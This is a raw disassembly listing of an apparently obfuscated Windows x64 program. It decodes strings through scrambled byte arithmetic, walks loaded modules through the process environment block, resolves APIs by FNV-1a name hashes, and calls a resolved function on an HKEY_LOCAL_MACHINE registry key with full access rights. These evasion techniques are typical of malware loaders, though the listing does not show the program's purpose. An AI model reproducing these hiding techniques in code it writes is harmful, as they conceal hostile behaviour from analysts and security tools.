add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
jmp 0x140208063
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
add dil, dl
lea rax, [rbx + r10]
cmp rax, 0x80
je 0x140208505
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x140208362
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x1402080af
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14020875b
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14020870b
movabs rdx, 0xd390f2407abef38c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140208529
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x1402086a4
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x140208683
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_45
jmp 0x1402083d6
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x140208634
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140208631
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x14020838a
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x1402082a9
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140208110
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1402082d5
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x14020875b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140208302
movabs rdx, 0xb8b05b574343cd24
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1402086d6
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14020832e
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1402086a4
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140208110
movabs rdx, 0x4e5063489706ea1c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140208683
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140208392
movabs rdx, 0xb4987d18e7410842
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140208609
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1402083be
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x140208631
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1402083e8
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1402084fa
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1402080af
movabs rdx, 0xb189cde364d7c22
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14020875b
jne 0x140208441
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14020875b
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14020846d
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1402086d9
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14020848a
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x140208566
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1402084b6
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x14020865a
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x140208063
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1402085d6
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x6a0]
sub dil, al
sub dil, 0x50
add dil, dl
add dil, r8b
jmp 0x14020865a
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x6a0]
add dil, r8b
add dil, dl
jmp 0x1402086d9
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
jmp 0x1402086d9
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1402086a4
movabs rdx, 0x7983d8e49282082
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140208683
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140208634
movabs rdx, 0xdc582daba1a1e692
mov ecx, r12d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140208609
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x6a0], cl
add r10, r12
sub r9, r12
jmp 0x14020876a
movabs rcx, 0x664819d0503a1e26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xa
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 2
add r8b, dil
add r8b, cl
mov byte [rbp + r9 + 0x6a0], r8b
add rbx, r10
jmp 0x1402086a4
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x42
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14020876a
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edi, [rax + rax]
add dil, cl
add dil, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x6a0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x6a0], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14020875b
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, r14b
movzx eax, byte [rbp + r9 + 0x6a0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140207bd8
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7a
jmp 0x140207bd5
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x140207bc5
lea rsi, [rbp + 0x145e448]
jmp 0x1402087d1
lea rsi, [rbp + 0x136ab86]
jmp 0x1402087d1
lea rsi, [rbp + 0x6a0]
mov r10, qword [0x1404dbc30]
test r10, r10
jne 0x14020893d
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r14, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140208848
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14020883b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14020882c
cmp edx, edi
jne 0x140208921
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140208921
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140208921
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x14020889a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x14020888f
cmp edx, dword [rsp + 0x6c]
je 0x1402088b0
test ebx, ebx
jne 0x14020887b
jmp 0x140208921
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140208936
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140208936
mov eax, 0x811c9dc5
mov edi, eax
mov ecx, eax
mov dword [rsp + 0x6c], eax
jmp 0x1402088f4
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x1402088e6
add r10, r12
mov al, byte [r10]
test al, al
je 0x14020891e
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x140208905
mov dword [rsp + 0x6c], ecx
mov r8, qword [r14]
mov r8, qword [r8]
cmp r8, r14
je 0x140208933
cmp qword [r8 + 0x30], r13
jne 0x1402087fb
mov r10, r13
mov qword [0x1404dbc30], r10
mov qword [rsp + 0x40], r13
lea rax, [0x1404db4f8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404dbba8]
test rdx, rdx
jne 0x140208ae6
mov edi, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, 0xcded1a85
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rsp + 0x58], cx
mov r15d, 0x811c9dc5
test edi, edi
je 0x1402089f0
mov rdx, qword [rsp + 0x60]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, r15d
jmp 0x1402089e2
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x1402089d1
cmp r8d, edi
jne 0x140208ad5
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x140208ad5
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140208ad5
mov esi, dword [r11 + 0x20]
dec ebx
lea r8, [rsi + rbx*4]
mov r10d, dword [r8 + r9]
add r10, r9
mov r8d, r15d
jmp 0x140208a42
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r10]
add r10, r12
test dl, dl
jne 0x140208a35
cmp r8d, r14d
je 0x140208a57
test ebx, ebx
jne 0x140208a23
jmp 0x140208ad5
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140208add
lea rax, [r11 + rcx]
cmp rdx, rax
jae 0x140208add
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x68], ecx
jmp 0x140208a98
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140208a8a
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x140208abf
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140208aa7
mov dword [rsp + 0x68], ecx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, dword [rsp + 0x68]
mov rax, qword [rax]
jmp 0x14020899d
mov qword [0x1404dbba8], rdx
jmp 0x140208aec
mov r15d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404dbbe8]
test rbx, rbx
jne 0x140208c55
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140208b68
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140208b5b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140208b4c
cmp edx, edi
jne 0x140208c39
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140208c39
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140208c39
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov edx, r15d
jmp 0x140208bb8
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140208bad
cmp edx, dword [rsp + 0x70]
je 0x140208bce
test ebx, ebx
jne 0x140208b9b
jmp 0x140208c39
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r11
jbe 0x140208c4e
lea rcx, [r11 + rax]
cmp rbx, rcx
jae 0x140208c4e
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x70], ecx
jmp 0x140208c0f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140208c01
add rbx, r12
mov al, byte [rbx]
test al, al
je 0x140208c36
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x140208c1e
mov dword [rsp + 0x70], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140208c4b
cmp qword [r8 + 0x30], r13
jne 0x140208b1d
mov rbx, r13
mov qword [0x1404dbbe8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404dbbe0]
test rdx, rdx
jne 0x140208dc4
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140208cd7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140208cca
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140208cbb
cmp edx, edi
jne 0x140208da8
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140208da8
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140208da8
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov edx, r15d
jmp 0x140208d27
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140208d1c
cmp edx, dword [rsp + 0x74]
je 0x140208d3d
test ebx, ebx
jne 0x140208d0a
jmp 0x140208da8
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140208dbd
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140208dbd
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x74], ecx
jmp 0x140208d7e
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140208d70
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x140208da5
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140208d8d
mov dword [rsp + 0x74], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140208dba
cmp qword [r8 + 0x30], r13
jne 0x140208c8c
mov rdx, r13
mov qword [0x1404dbbe0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd8]
test rdx, rdx
jne 0x140208f2a
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140208e3d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140208e30
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140208e21
cmp edx, edi
jne 0x140208f0e
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140208f0e
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140208f0e
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r14]
add r10, r9
mov edx, r15d
jmp 0x140208e8d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140208e82
cmp edx, dword [rsp + 0x78]
je 0x140208ea3
test ebx, ebx
jne 0x140208e70
jmp 0x140208f0e
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140208f23
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x140208f23
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x78], ecx
jmp 0x140208ee4
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140208ed6
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x140208f0b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140208ef3
mov dword [rsp + 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140208f20
cmp qword [r8 + 0x30], r13
jne 0x140208df2
mov rdx, r13
mov qword [0x1404dbbd8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd0]
test rdx, rdx
jne 0x140209090
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140208fa3
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140208f96
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140208f87
cmp edx, edi
jne 0x140209074
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140209074
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140209074
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r14]
add r10, r9
mov edx, r15d
jmp 0x140208ff3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140208fe8
cmp edx, dword [rsp + 0x7c]
je 0x140209009
test ebx, ebx
jne 0x140208fd6
jmp 0x140209074
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140209089
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140209089
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x7c], ecx
jmp 0x14020904a
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14020903c
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x140209071
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140209059
mov dword [rsp + 0x7c], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140209086
cmp qword [r8 + 0x30], r13
jne 0x140208f58
mov rdx, r13
mov qword [0x1404dbbd0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404dbbc8], r13
jne 0x1402091f3
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140209106
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x1402090f9
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1402090ea
cmp edx, edi
jne 0x1402091d7
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1402091d7
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1402091d7
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r10 + rbx*4]
mov r9d, dword [rdx + r14]
add r9, r10
mov edx, r15d
jmp 0x140209156
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
add r9, r12
test cl, cl
jne 0x14020914b
cmp edx, dword [rbp - 0x80]
je 0x14020916b
test ebx, ebx
jne 0x140209139
jmp 0x1402091d7
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1402091ec
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x1402091ec
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x80], ecx
jmp 0x1402091ab
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14020919d
add r9, r12
mov al, byte [r9]
test al, al
je 0x1402091d4
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x1402091bc
mov dword [rbp - 0x80], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x1402091e9
cmp qword [r8 + 0x30], r13
jne 0x1402090bb
mov r9, r13
mov qword [0x1404dbbc8], r9
mov r8, qword [0x1404dbc00]
test r8, r8
jne 0x140209262
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
cmp rcx, r9
je 0x14020924a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14020922e
cmp edx, 0x610c0de3
je 0x1402092b1
mov r8, qword [r8]
cmp r8, r10
je 0x140209258
cmp qword [r8 + 0x30], r13
jne 0x140209216
mov r8, r13
mov qword [0x1404dbc00], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
mov r10d, r13d
mov r11d, dword [r9 + r8 + 0x20]
mov eax, r10d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r15d
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x1402092ac
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x140209290
cmp ecx, 0xe463da3c
je 0x1402092b7
add r10d, r12d
jmp 0x140209276
mov r8, qword [r8 + 0x30]
jmp 0x14020925b
mov edx, dword [r9 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + r8 + 0x24]
add rcx, r8
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r14, rax
mov r10, qword [0x1404dbbf8]
test r10, r10
jne 0x140209451
mov edi, r13d
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r8, qword [rcx]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140209350
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140209343
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140209334
